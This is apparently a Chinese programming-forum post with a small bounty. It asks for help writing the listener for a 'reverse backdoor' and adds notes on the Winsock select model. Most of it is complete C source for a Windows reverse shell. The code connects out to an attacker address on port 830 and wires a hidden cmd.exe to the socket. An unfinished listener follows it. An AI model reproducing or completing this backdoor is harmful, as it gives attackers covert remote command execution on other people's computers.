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50鱼币
/*
以下是反弹后门,服务端如下://Server:
我想自己做客户端来接收,可是就差那么一点点无法完成。
搜索后也没有找到答案;希望这里懂者解答!
提示一下:懂者,可直接告知;
请不要让我花很长的时间来猜“你的心里提示”,我讨厌“犹抱琵琶半遮面”者!
*/
//Server:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET s;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立Socket
s=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
//socket()→connet(攻击机ip,端口)→send/recv()→closesocket()
server.sin_addr.s_addr=inet_addr("127.0.0.1");
//反向连接! //客户端连接服务端监听的端口和IP。
connect(s,(struct sockaddr *)&server,sizeof(server) );
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//CMD的输入输出句柄,都用Socket来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
char cmdLine[] = "cmd.exe /k";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
//未完成的反弹客户端代码:请在VC中试!
//Client:
#include <Winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"ws2_32.lib")
#define InternetAddr "127.0.0.1"
#define iPort 830
int main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET fds = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in s;
s.sin_family = AF_INET;
s.sin_port = htons(iPort);
s.sin_addr.s_addr = inet_addr(InternetAddr);
int ret = bind(fds, (sockaddr*)&s, sizeof(s));
ret = listen(fds, 4);
printf("正在监听...");
int n;
SOCKET c;
fd_set f;
timeval tv;
while(1)
{
FD_ZERO(&f); //初始化fd_set
FD_SET(fds, &f); //分配套接字句柄到相应的fd_set
tv.tv_sec = 20;
tv.tv_usec = 0;
select(0, &f, NULL, NULL, &tv);
n = sizeof(s);
if (FD_ISSET(fds, &f))
{
c = accept(fds,( sockaddr*) &s, &n);
printf("采用Select模型,客户端开始连接\n");
break;
}
else
{
printf("没有客户端连接,我可以做些别的事情\n");
}
}
char buffer[128];
ZeroMemory(buffer, 128);
ret = recv(c,buffer,128,0);
printf("你打印的是:%s\n",buffer);
closesocket(c); // 关闭进程句柄
WSACleanup(); //关闭连接卸载ws2_32.dll
return 0;
}
/*
Select模型
int select(
int nfds, //忽略
fd_set FAR * readfds, //用来检测可读
fd_set FAR * writefds, //用来检测可写
fd_set FAR * exceptfds, //检查错误
const struct timeval FAR * timeout //指定函数等待的最长时间
);
第一个参数nfds,将会被系统忽略,包括这个参数只是为了和Berkeley Socket应用程序兼容.
你将会注意到有三个fd_set结构的参数,一个用来检测可读,一个用来检测可写,第三个参数是带外数据(TCP紧急数据),timeout参数为超时时间.
1、理解struct fd_set(一个套接字集合)
struct fd_set可以理解为一个集合,这个集合中存放的是文件描述符(filedescriptor),即文件句柄,这可以是我们所说的普通意义的文件,当然Unix下任何设备、管道、FIFO等都是文件形式,全部包括在内,所以毫无疑问一个socket就是一个文件,socket句柄就是一个文件描述符。
2、使用struct fd_set
FD_ZERO(fd_set * set); //清空集合
FD_SET(s,fd_set * set); //添加套接字集合
FD_CLR(s ,fd_set* set); //从set移除套接字s
FD_ISSET(s ,fd_set* set);//检查集合中s是否set的成员
3.
struct timeval {
long tv_sec; //秒
long tv_usec; //微秒
};
*/ |
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